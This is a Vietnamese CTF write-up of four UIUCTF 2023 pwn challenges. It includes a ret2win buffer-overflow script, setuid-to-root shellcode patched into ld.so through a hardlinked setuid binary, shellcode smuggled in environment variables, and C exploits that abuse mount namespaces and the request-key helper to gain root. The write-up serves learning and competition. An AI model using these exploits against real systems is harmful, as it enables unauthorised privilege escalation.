Write up UIUCTF 2023

Năm nay mình chơi với team m1cr0$oft 0ff1c3. Anh em tryhard overnight 2 đêm cuối cùng được top 22 🐸.

image

Mình giải được 4 bài, 3 bài pwn và 1 bài rev. Hơi tiếc là còn 2 bài pwn cũng thú vị nhưng mình không kịp giải ra 😭.

Bài rev mình làm ra chỉ là baby-brute-force nên mình xin không viết write up nữa, dưới đây là write up các bài pwn.

Chainmail

image

Attachment: Chainmail.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void give_flag() {
FILE *f = fopen("/flag.txt", "r");
if (f != NULL) {
char c;
while ((c = fgetc(f)) != EOF) {
putchar(c);
}
}
else {
printf("Flag not found!\n");
}
fclose(f);
}

int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);

char name[64];
printf("Hello, welcome to the chain email generator! Please give the name of a recipient: ");
gets(name);
printf("Okay, here's your newly generated chainmail message!\n\nHello %s,\nHave you heard the news??? Send this email to 10 friends or else you'll have bad luck!\n\nYour friend,\nJim\n", name);
return 0;
}

Một bài ret2win đơn giản nên mình không đi sâu. Đây là script giải:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from time import sleep

context.binary = e = ELF("./chal")

gs="""
"""
def start():
if args.LOCAL:
p=e.process()
if args.GDB:
gdb.attach(p,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
return p

p = start()
p.sendline(b"A"*64+p64(0)+p64(0x000000000040133b)+p64(e.sym.give_flag))
p.interactive()

Zapping a Setuid 1

image

Attachment: handout.tar.zst

Trong máy ảo qemu, ta chạy ./init_chal zapp-setuid-1 rồi exec setpriv --init-groups --reset-env --reuid user --regid user bash -l để setup đúng môi trường như trên remote.

image

Ta thấy được file exe là một setuid binary:

image

Trong đó nó sẽ cần thư viện ld-linux-x86-64.so.2, lib.solibc.so.6:

image

Hơi lạ vì binary lại được mmap địa chỉ cao hơn địa chỉ của các thư viện, thông thường địa chỉ của các thư viện như libc lẽ ra phải cao hơn binary thực thi.

Vậy nên mình sẽ xem thử source code của chương trình.

Phân tích file zapps-crt0.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
...
__section_zapps
void *_zapps_main(void **stack)
{
char ld_rel[] = "/ld-linux-x86-64.so.2";
Elf64_Phdr *self_phdr, *self_phdr_end;
Elf64_Word p_type_interp = PT_INTERP;
uintptr_t page_filesz, page_memsz;
ssize_t exe_path_len;
char ld[PATH_MAX+1];
size_t max_map = 0;
void *ld_base_addr;
unsigned long argc;
Elf64_auxv_t *auxv;
Elf64_Ehdr ld_ehdr;
Elf64_Phdr ld_phdr;
int ld_fd, mem_fd;
unsigned int i;
void *ptr;
int prot;

argc = (uintptr_t)*stack++;
/* argv */
for (i = 0; i < argc; i++)
stack++;
stack++;

/* envp */
while (*stack++);

auxv = (void *)stack;

exe_path_len = _zapps_sys_readlink((char []){"/proc/self/exe"}, ld, PATH_MAX);
if (exe_path_len < 0 || exe_path_len >= PATH_MAX)
_zapps_die("Zapps: Fatal: failed to readlink /proc/self/exe\n");

ld[exe_path_len] = '\0';
*_zapps_strrchr(ld, '/') = '\0';
_zapps_strncat(ld, ld_rel, sizeof(ld) - 1);

ld_fd = _zapps_sys_open(ld, O_RDONLY | O_CLOEXEC);
if (ld_fd < 0)
_zapps_die("Zapps: Fatal: failed to open ld.so\n");

if (_zapps_sys_read(ld_fd, &ld_ehdr, sizeof(ld_ehdr)) != sizeof(ld_ehdr))
_zapps_die("Zapps: Fatal: failed to read EHDR from ld.so\n");

if (_zapps_sys_lseek(ld_fd, ld_ehdr.e_phoff, SEEK_SET) != ld_ehdr.e_phoff)
_zapps_die("Zapps: Fatal: failed to seek to PHDR in ld.so\n");
for (i = 0; i < ld_ehdr.e_phnum; i++) {
if (_zapps_sys_read(ld_fd, &ld_phdr, sizeof(ld_phdr)) != sizeof(ld_phdr))
_zapps_die("Zapps: Fatal: failed to read PHDR from ld.so\n");

if (ld_phdr.p_type != PT_LOAD)
continue;

if (max_map < ld_phdr.p_vaddr + ld_phdr.p_memsz)
max_map = ld_phdr.p_vaddr + ld_phdr.p_memsz;
}

ld_base_addr = _zapps_sys_mmap(NULL, max_map, PROT_NONE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (IS_ERR(ld_base_addr))
_zapps_die("Zapps: Fatal: failed to reserve memory for ld.so\n");

if (_zapps_sys_lseek(ld_fd, ld_ehdr.e_phoff, SEEK_SET) != ld_ehdr.e_phoff)
_zapps_die("Zapps: Fatal: failed to seek to PHDR in ld.so\n");
for (i = 0; i < ld_ehdr.e_phnum; i++) {
if (_zapps_sys_read(ld_fd, &ld_phdr, sizeof(ld_phdr)) != sizeof(ld_phdr))
_zapps_die("Zapps: Fatal: failed to read PHDR from ld.so\n");

if (ld_phdr.p_type != PT_LOAD)
continue;

prot = (ld_phdr.p_flags & PF_R ? PROT_READ : 0) |
(ld_phdr.p_flags & PF_W ? PROT_WRITE : 0) |
(ld_phdr.p_flags & PF_X ? PROT_EXEC : 0);

if (IS_ERR(_zapps_sys_mmap(
(void *)PAGE_DOWN((uintptr_t)ld_base_addr + ld_phdr.p_vaddr),
ld_phdr.p_filesz + PAGE_OFF(ld_phdr.p_vaddr),
prot, MAP_PRIVATE | MAP_FIXED, ld_fd,
ld_phdr.p_offset - PAGE_OFF(ld_phdr.p_vaddr))
))
_zapps_die("Zapps: Fatal: failed to map ld.so\n");

if (ld_phdr.p_filesz >= ld_phdr.p_memsz)
continue;

/* BSS stage 1: clear memory after filesz */
ptr = ld_base_addr + ld_phdr.p_vaddr + ld_phdr.p_filesz;
_zapps_memset(ptr, 0, PAGE_UP((uintptr_t)ptr) - (uintptr_t)ptr);

page_filesz = PAGE_UP((uintptr_t)ptr);
page_memsz = PAGE_UP((uintptr_t)ld_base_addr + ld_phdr.p_vaddr +
ld_phdr.p_memsz);
if (page_filesz >= page_memsz)
continue;

/* BSS stage 2: map anon pages after last filesz page */
if (IS_ERR(_zapps_sys_mmap(
(void *)page_filesz, page_memsz - page_filesz,
prot, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0)
))
_zapps_die("Zapps: Fatal: failed to map BSS in ld.so\n");
}

_zapps_sys_close(ld_fd);

*_zapps_getauxval_ptr(auxv, AT_BASE) = (uintptr_t)ld_base_addr;
*_zapps_getauxval_ptr(auxv, AT_ENTRY) = (uintptr_t)&_start;

/* Patch our own PHDR for so PT_ZAPPS_INTERP is back to PT_INTERP.
Without this glibc ld.so complains:
Inconsistency detected by ld.so: rtld.c: 1291: rtld_setup_main_map:
Assertion `GL(dl_rtld_map).l_libname' failed! */
self_phdr = (void *)*_zapps_getauxval_ptr(auxv, AT_PHDR);
self_phdr_end = self_phdr + *_zapps_getauxval_ptr(auxv, AT_PHNUM);

mem_fd = _zapps_sys_open((char []){"/proc/self/mem"}, O_RDWR | O_CLOEXEC);
if (mem_fd < 0)
_zapps_die("Zapps: Fatal: failed to open /proc/self/mem\n");

for (; self_phdr < self_phdr_end; self_phdr++) {
if (self_phdr->p_type != PT_ZAPPS_INTERP)
continue;

_zapps_sys_pwrite64(mem_fd, &p_type_interp, sizeof(p_type_interp), (uintptr_t)&self_phdr->p_type);
}

_zapps_sys_close(mem_fd);

return ld_base_addr + ld_ehdr.e_entry;
}

__asm__ (
".globl _zapps_start\n"
".section .text.zapps,\"ax\",@progbits\n"
".type _zapps_start, @function\n"
"_zapps_start:\n"
" mov %rsp, %rdi\n"
" call _zapps_main\n"
"\n"
"/* clean registers in case some libc might assume 0 initialized */\n"
" xor %ebx, %ebx\n"
" xor %ecx, %ecx\n"
" xor %edx, %edx\n"
" xor %ebp, %ebp\n"
" xor %ebp, %ebp\n"
" xor %esi, %esi\n"
" xor %edi, %edi\n"
" xor %r8, %r8\n"
" xor %r9, %r9\n"
" xor %r10, %r10\n"
" xor %r11, %r11\n"
" xor %r12, %r12\n"
" xor %r13, %r13\n"
" xor %r14, %r14\n"
" xor %r15, %r15\n"
"\n"
"/* jmp into ld.so entry point */\n"
" cld\n"
" /* jmp *%rax */\n"
" push %rax\n"
" xor %eax, %eax\n"
" ret\n"
);

Ở đây ta chỉ cần tập trung vào hàm _zapps_start và hàm _zapps_main.

Hàm _zapps_start sẽ gọi hàm _zapps_main ra rồi sau đó mới gọi entry point của ld.

Ở hàm _zapps_main, nó kiểm tra realpath của file thực thi: _zapps_sys_readlink((char []){"/proc/self/exe"}, ld, PATH_MAX);, rồi dần dần mmap các file trong thư mục đó vào,
đó chính là lý do địa chỉ của thư viện lại thấp hơn binary, chưa kể điều này dẫn đến việc các file thư viện phải cùng thư mục với file thực thi.

Vì file binary là của root nên ta không có cách nào di chuyển nó được, đến lúc này mình xem hint của đề là CVE-2009-0876.

Hmm, mình kiểm tra thì ở challenge này thì protected_hardlinks được set = 0.

image

Vậy nên mình sẽ thử tạo hardlink exe ra ngoài thư mục /home/user.

image

Khi ta thực thi bằng file hardlink, /proc/self/exe sẽ là symlink tới /home/user/exe, từ đó nó sẽ tìm thư viện trong thư mục /home/user thay vì /usr/lib/zapps/build.

Bây giờ đơn giải mình chỉ cần copy file ld ra ngoài và sửa phần code ở entry-point của nó thành shellcode setuid(0); execve("/bin/sh",{"/bin/sh,0},0).

Ở máy ảo qemu này có python nên mình viết script python cho tiện:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
os.system("ln /usr/lib/zapps/build/exe") # for only zapp1
os.system("cp /usr/lib/zapps/build/libc.so.6 .")
os.system("cp /usr/lib/zapps/build/ld-linux-x86-64.so.2 .")

f = open("ld-linux-x86-64.so.2","rb")
data = f.read()
f.close()

data = list(data)
offset = 0x202b0

shellcode = b"\x31\xC0\xB0\x69\x31\xFF\x0F\x05\x48\x31\xD2\x48\x31\xF6\x48\x31\xC0\x50\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\x6A\x00\x57\x54\x5E\x48\x89\xF2\xB0\x3B\x0F\x05"

for i in range(len(shellcode)):
data[offset+i] = shellcode[i]

f = open("ld-linux-x86-64.so.2","wb")
f.write(bytes(data))
f.close()
os.system("./exe")

image

Flag: uiuctf{did-you-see-why-its-in-usr-lib-now-0cd5fb56}.

Virophage

image

Check source code từ file Virophage.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
...
static void virophage_write_virus(const char *path)
{
/* load_elf_phdrs wants at least one segment, else it errors */
target_ulong phage = virophage_request_phage();

struct {
Elf32_Ehdr ehdr;
Elf32_Phdr phdr;
} data = {
.ehdr = {
.e_ident = {
ELFMAG0, ELFMAG1, ELFMAG2, ELFMAG3,
ELFCLASS32, ELFDATA2LSB, EV_CURRENT,
ELFOSABI_SYSV
},
.e_type = ET_EXEC,
.e_machine = EM_386,
.e_version = EV_CURRENT,
.e_entry = phage,
.e_ehsize = sizeof(Elf32_Ehdr),
.e_phentsize = sizeof(Elf32_Phdr),
.e_phnum = 1,
},
.phdr = {
.p_type = PT_NULL,
},
};
int fd, r;

data.ehdr.e_phoff = (void *)&data.phdr - (void *)&data;

fd = _vp_sys_open(path, O_WRONLY | O_CREAT | O_EXCL, 0500);
if (fd < 0)
_vp_error(1, _vp_errno, "open(virus)");

r = _vp_sys_write(fd, &data, sizeof(data));
if (r < 0)
_vp_error(1, _vp_errno, "write(virus)");
if (r != sizeof(data))
_vp_error(1, 0, "write(virus): bad size written");

_vp_sys_close(fd);
}
...

Mình thấy đáng lưu ý nhất ở hàm virophage_write_virus, biến phage là giá trị do người dùng nhập vào thông qua hàm virophage_request_phage, phage chính là entry-point cho một file
elf có tên là /tmp/virus.

Điều đáng lưu ý ở đây là file /tmp/virus không có text segment.

1
2
3
4
5
6
7
8
9
10
11
...
virophage_write_virus("/tmp/virus");

if (_vp_sys_setuid(0) < 0)
_vp_error(1, _vp_errno, "setuid(0)");
if (_vp_sys_personality(ADDR_NO_RANDOMIZE) < 0)
_vp_error(1, _vp_errno, "personality(ADDR_NO_RANDOMIZE)");

WRITE_STRING_LITERAL(STDOUT_FILENO, "execve...\n");
_vp_sys_execve("/tmp/virus", argv, envp);
_vp_error(1, _vp_errno, "execve(virus)");

Đáng chú ý hơn là ở hàm virophage_main, nó set ADDR_NO_RANDOMIZE và truyền envp vào hàm execve thực thi /tmp/virus.

Ở local, mình debug bằng root user:

image

… thì mình phát hiện ra stack được set là rwx, để ý là envp của process cha được truyền vào, thế là mình nghĩ đến việc chèn shellcode vào envp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"""
Debug kernel with qemu

Shellcode in 0xffffdf4b
"""
pad = b"HeheIamHere"
pad += b'\x90'*0x100
f = open("lol","wb")
f.write(pad)
shellcode = b"\x31\xC0\x31\xDB\xB0\x17\xCD\x80\x31\xC0\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80"
f.write(shellcode)
f.close()
"""
export VTM=$(cat lol)
"""

Đề cho luôn cả kernel, nên mình sẽ debug luôn cả kernel để tìm địa chỉ shellcode.

image

Mình thấy được địa chỉ shellcode tầm 0xffffdebe đổ xuống, mình sẽ test lại khi không có debugger attach.

image

image

Flag uiuctf{windows_defender_wont_catch_this_bc238ba4}.

Còn 2 bài Zapping a Setuid 2Am I not root?, tuy sau giải mình mới làm ra, tuy nhiên đến giờ chưa thấy có ai viết write-up nên mình sẽ viết wu chỉ với mục đích chia sẻ 🐸.

Zapping a Setuid 2

image

Bài này đã bật protected_hardlinks nên ta không thể xài trick như phần 1.

image

Như hint đề đưa , mình sẽ xem các file patch có gì.

Đáng chú ý là :

  1. 0001-fs-namespace-Allow-unpriv-OPEN_TREE_CLONE.patch: cho phép unpriv gọi syscall open_tree.
  2. 0002-fs-namespace-Allow-generic-loopback-mount-without-re.patch: cho phép mount loopback không cần filetype là nsfs.

NSFS (NullFS) là một file system ảo có sẵn trong kernel của Linux.

Nó được gọi là NullFS vì nó không thực sự đại diện cho bất kỳ thiết bị lưu trữ vật lý hoặc file system nào.

Thay vào đó, nó cung cấp một cách để xuất các cấu trúc dữ liệu nội bộ của kernel dưới dạng các file có thể được truy cập bởi các tiến trình user-space.

(Yah, kiến thức mới)

  1. 0003-fs-namespace-Check-userns-instead-of-mntns-in-mnt_ma.patch: check user-namespace thay vì mount-namespace trong hàm mnt_may_suid.

Hàm mnt_may_suid trả về true là một trong những điều kiện để cho phép một file suid binary khi thực thi có chạy được với quyền root hay không.
Mình đoán được điều này thông qua đoạn code này.

Bây giờ mình muốn mount bind /usr/lib/zapps/build/ tới /home/user ( tức là file nào có sẵn trên /home/user rồi thì không mount qua /usr/lib/zapps/build/ nữa ).

Ta tận dụng open_treemove_mount để làm điều này, tuy nhiên để move_mount thành công thì ta phải thực hiện trên namespace mới.

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(int argc,char** argv, char** envp){
int ret;
int pid = fork();
if(!pid){
if (unshare(CLONE_NEWNS|CLONE_NEWUSER))
perror("unshare");
if (mount("/usr/lib/zapps/build", "/home/user", NULL, MS_BIND, NULL));
perror("mount build");
getchar();
exit(0);
}
...
}

Ở process con, ta đã có /usr/lib/zapps/build mount bind tới /home/user, bây giờ mình chỉ cần share rootfs từ process con tới process cha:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int main(int argc,char** argv, char** envp){
int ret;
int pid = fork();
if(!pid){
if (unshare(CLONE_NEWNS|CLONE_NEWUSER))
perror("unshare");
if (mount("none", "/", NULL, MS_REC | MS_PRIVATE, NULL) < 0)
perror("mount none /");
if (mount("/usr/lib/zapps/build", "/home/user", NULL, MS_BIND, NULL));
perror("mount build");
int fd_root = open("/",O_PATH);
if(fd_root < 0)
perror("open /");
printf("fd_root = %d\n",fd_root);
getchar();
exit(0);
}
sleep(5);
char path[0x60];
sprintf(path,"/proc/%d/fd/3",pid);
int fd_root = open(path,O_PATH);
printf("fd_root = %d\n",fd_root);
syscall(SYS_execveat, fd_root, "home/user/exe", NULL, NULL, 0);
return 0;
}

Trước khi chạy , tương tự bài 1, ta lại inject một file ld chạy shellcode, script tương tự bài 1.

image

Hmm, file exe đã thực thi shellcode, tuy nhiên chúng ta lại không có quyền root.

Sau một hồi, mình nhận ra fd_root vẫn nằm trong namespace của con, để có một file descriptor trong namespace cha, ta tiếp tục sử dụng open_tree.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/mount.h>
#include <linux/securebits.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <unistd.h>

int main(int argc,char** argv, char** envp){
int ret;
int pid = fork();
if(!pid){
if (unshare(CLONE_NEWNS|CLONE_NEWUSER))
perror("unshare");
if (mount("none", "/", NULL, MS_REC | MS_PRIVATE, NULL) < 0)
perror("mount none /");
if (mount("/usr/lib/zapps/build", "/home/user", NULL, MS_BIND, NULL));
perror("mount build");
int fd_root = open("/",O_PATH);
if(fd_root < 0)
perror("open /");
printf("fd_root = %d\n",fd_root);
getchar();
exit(0);
}
sleep(5);
char path[0x60];
sprintf(path,"/proc/%d/fd/3",pid);
int fd_root = open(path,O_PATH);
printf("fd_root = %d\n",fd_root);
int fd = syscall(SYS_open_tree,fd_root,"",AT_EMPTY_PATH | AT_RECURSIVE | OPEN_TREE_CLONE);
if(fd < 0)
perror("open_tree");
syscall(SYS_execveat, fd, "home/user/exe", NULL, NULL, 0);
return 0;
}

P/s: fd cùng nằm trong user-namespace cha nhưng nó vẫn nằm trong mount-namespace con, do hàm mnt_may_suid được patch lại nên ta mới có được quyền root.

image

Check remote:

image

Flag: uiuctf{is-kernel-being-overly-cautious-5ba2e5c4}

Am I not root?

image

Check source, ta thấy ta được một root shell ở namespace khác , không thể đọc trực tiếp file flag.

image

Mình thấy có thể ghi đè được /sbin/modprobe, nên mình nghĩ ngay đến việc trigger kernel gọi call_modprobe.

image

Không có gì xảy ra, để ý hint của đề là I disabled coredumps and modules. What else are there?, hàm call_modprobe nằm trong kmod.c nên mình nghĩ nó cũng đã bị chặn.

Bản chất hàm call_modprobe cũng phải gọi hàm call_usermodehelper_setup để thực thi binary usermod ở kernelmode. Mình đi tìm các hàm gọi call_usermodehelper_setup:

image

Đề chặn hết coredumpsmodules nên mình nghĩ đến việc coi thử hàm request_key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
* Request userspace finish the construction of a key
* - execute "/sbin/request-key <op> <key> <uid> <gid> <keyring> <keyring> <keyring>"
*/
static int call_sbin_request_key(struct key *authkey, void *aux)
{
static char const request_key[] = "/sbin/request-key";
...
/* set up a minimal environment */
i = 0;
envp[i++] = "HOME=/";
envp[i++] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
envp[i] = NULL;

/* set up the argument list */
i = 0;
argv[i++] = (char *)request_key;
argv[i++] = (char *)rka->op;
argv[i++] = key_str;
argv[i++] = uid_str;
argv[i++] = gid_str;
argv[i++] = keyring_str[0];
argv[i++] = keyring_str[1];
argv[i++] = keyring_str[2];
argv[i] = NULL;

/* do it */
ret = call_usermodehelper_keys(request_key, argv, envp, keyring,
UMH_WAIT_PROC);
kdebug("usermode -> 0x%x", ret);
...
}

Để ý hàm call_sbin_request_key sẽ thực thi /sbin/request-key <op> <key> <uid> <gid> <keyring> <keyring> <keyring> thông qua hàm call_usermodehelper_keys.

Check trên qemu không có file /sbin/request-key, nên càng làm mình nghi ngờ chính là inject /sbin/request-key vào :

image

Mình sẽ thử để /sbin/request-key sym tới /home/user/x rồi gọi syscall request-key ra:

1
2
3
4
5
6
#include <linux/keyctl.h>     /* Definition of KEY* constants */
#include <sys/syscall.h> /* Definition of SYS_* constants */
#include <unistd.h>
int main(int argc, char *argv[]){
syscall(SYS_request_key,"user","mtk:key1","Payload data",KEY_SPEC_SESSION_KEYRING);
}

image

Check remote:

image

Flag: uiuctf{need_more_isolations_for_root_5a4bb464}

Kết luận

Qua giải này mình đã có cơ hội được tìm hiểu về namespace, thứ công nghệ chính là tính năng giúp Linux kernel phân chia ra các container, mà chúng ta thường hay sử dụng thông qua Docker. Cũng từ giải này mình rút ra được vài kinh nghiệm
để cho những giải lần sau thể hiện tốt hơn.